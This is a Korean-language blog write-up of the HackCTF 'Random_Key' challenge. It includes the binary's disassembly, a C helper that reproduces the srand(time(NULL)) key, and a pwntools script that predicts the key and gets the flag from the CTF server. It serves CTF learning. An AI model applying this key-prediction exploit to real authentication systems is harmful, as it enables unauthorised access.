시작
안녕하세요 :D
이번 문제 많이 어려웠습니다 ㅠㅠ 코드가 어려운 건 아닌데 처음 써보는 파이썬 기능이 있어서..
key 값도 난수고, BOF도 안 터져서 한참 고민하다가 구글링 해버린 문제였습니다.
시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/15.Random_Key# ./random
============================
======= 인증 프로그램 ======
============================
Input Key : 1234
Nah...
전형적인 키 맞추기 문제입니다.
키 값을 알아내거나 BOF로 변수를 덮어버리면 끝나는 문제에요.
gdb-peda$ pd main
Dump of assembler code for function main:
0x00000000004007c6 <+0>: push rbp
0x00000000004007c7 <+1>: mov rbp,rsp
0x00000000004007ca <+4>: sub rsp,0x10
0x00000000004007ce <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004007d7 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004007db <+21>: xor eax,eax
0x00000000004007dd <+23>: mov rax,QWORD PTR [rip+0x200894] # 0x601078 <stdout@@GLIBC_2.2.5>
0x00000000004007e4 <+30>: mov esi,0x0
0x00000000004007e9 <+35>: mov rdi,rax
0x00000000004007ec <+38>: call 0x400630 <setbuf@plt>
0x00000000004007f1 <+43>: mov DWORD PTR [rbp-0xc],0x0
0x00000000004007f8 <+50>: mov DWORD PTR [rbp-0x10],0x0
0x00000000004007ff <+57>: mov edi,0x0
0x0000000000400804 <+62>: mov eax,0x0
0x0000000000400809 <+67>: call 0x400680 <time@plt>
0x000000000040080e <+72>: mov edi,eax
0x0000000000400810 <+74>: call 0x400670 <srand@plt>
0x0000000000400815 <+79>: call 0x4006b0 <rand@plt>
0x000000000040081a <+84>: mov DWORD PTR [rbp-0xc],eax
0x000000000040081d <+87>: mov edi,0x400928
0x0000000000400822 <+92>: call 0x400620 <puts@plt>
0x0000000000400827 <+97>: mov edi,0x400948
0x000000000040082c <+102>: call 0x400620 <puts@plt>
0x0000000000400831 <+107>: mov edi,0x400928
0x0000000000400836 <+112>: call 0x400620 <puts@plt>
0x000000000040083b <+117>: mov edi,0x40096b
0x0000000000400840 <+122>: mov eax,0x0
0x0000000000400845 <+127>: call 0x400650 <printf@plt>
0x000000000040084a <+132>: lea rax,[rbp-0x10]
0x000000000040084e <+136>: mov rsi,rax
0x0000000000400851 <+139>: mov edi,0x400978
0x0000000000400856 <+144>: mov eax,0x0
0x000000000040085b <+149>: call 0x400690 <__isoc99_scanf@plt>
0x0000000000400860 <+154>: mov eax,DWORD PTR [rbp-0x10]
0x0000000000400863 <+157>: cmp DWORD PTR [rbp-0xc],eax
0x0000000000400866 <+160>: jne 0x400886 <main+192>
0x0000000000400868 <+162>: mov edi,0x40097b
0x000000000040086d <+167>: call 0x400620 <puts@plt>
0x0000000000400872 <+172>: mov edi,0x400984
0x0000000000400877 <+177>: call 0x400640 <system@plt>
0x000000000040087c <+182>: mov edi,0x0
0x0000000000400881 <+187>: call 0x4006a0 <exit@plt>
0x0000000000400886 <+192>: mov edi,0x40099a
0x000000000040088b <+197>: call 0x400620 <puts@plt>
0x0000000000400890 <+202>: mov edi,0x0
0x0000000000400895 <+207>: call 0x4006a0 <exit@plt>
End of assembler dump.
일단 srand(time(NULL))
로 랜덤값을 생성하는 것으로 보아 leak 하지 않는 이상 키를 알아내긴 힘들겠네요.
그렇다면 scanf()
에서 덮어야 합니다.
우리가 입력한 값은 rbp-0x10
에 들어가고 키는 rbp-0xc
에 들어가니깐 덮일 줄 알았는데.. 안 덮여요 ㅎㅎ
이걸 어떻게 풀까요..
구글링 해보니깐 파이썬에 ctypes
란 기능이 있더라구요.
파이썬에서 C언어로 작성된 코드를 읽어올 수 있게 해주는 라이브러리라고 합니다.
(참고 : https://frhyme.github.io/python-lib/read_c_code_in_python/)
갑자기 왜 C 코드를 읽어오냐!!
문제에서의 key는 시간을 기반으로 난수를 생성해내기 때문에
문제와 똑같은 코드를 작성한다면 생성되는 key값은 동일할 수 밖에 없습니다. 이걸 이용한 거에요.
우선 C로 문제와 동일하게 시간을 기반으로 생성되는 난수 코드, srand.c
를 작성했어요.
//srand.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
int key = 0;
srand(time(NULL));
key = rand();
return key;
}
main()의 리턴값이 key가 되겠죠.
이 친구를 라이브러리화 시키기 위해 gcc로 컴파일하겠습니다.
gcc -fPIC srand.c -o lch.so -shared
명령어를 줘서 lch.so
라이브러리를 생성합니다.
이렇게 생성된 녀석을 ctypes를 활용해 pwntools 코드에 넣어주면 파이썬 내부에서 C 코드를 읽을 수 있어요.
from pwn import *
from ctypes import *
libc = CDLL("./lch.so")
p = remote("ctf.j0n9hyun.xyz", 3014)
key = libc.main()
log.info(hex(key))
p.recvuntil("Key : ")
p.sendline(str(key))
p.interactive()
CDLL("./lch.so")
로 라이브러리를 불러오고, 거기에 있는 main() 함수의 리턴값을 key 변수에 넣어준거에요.
root@goorm:/workspace/LCH_Server/HackCTF/15.Random_Key# python ex.py
[+] Opening connection to ctf.j0n9hyun.xyz on port 3014: Done
[*] 0x27f1bf16
[*] Switching to interactive mode
Correct!
//flag!!!
[*] Got EOF while reading in interactive
Exploit!!
마무리
ctypes라는 좋은 기능을 하나 알아갑니다 ㅎㅎ
대부분의 문제들이 C언어로 나오기 때문에 이런 문제 유형이 나오면 유용하게 쓰일 것 같네요.
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Beginner_Heap (0) | 2019.09.23 |
---|---|
[HackCTF] RTL_Core (0) | 2019.09.22 |
[HackCTF] 1996 (0) | 2019.09.22 |
[HackCTF] Poet (0) | 2019.09.22 |
[HackCTF] RTL_World (0) | 2019.09.19 |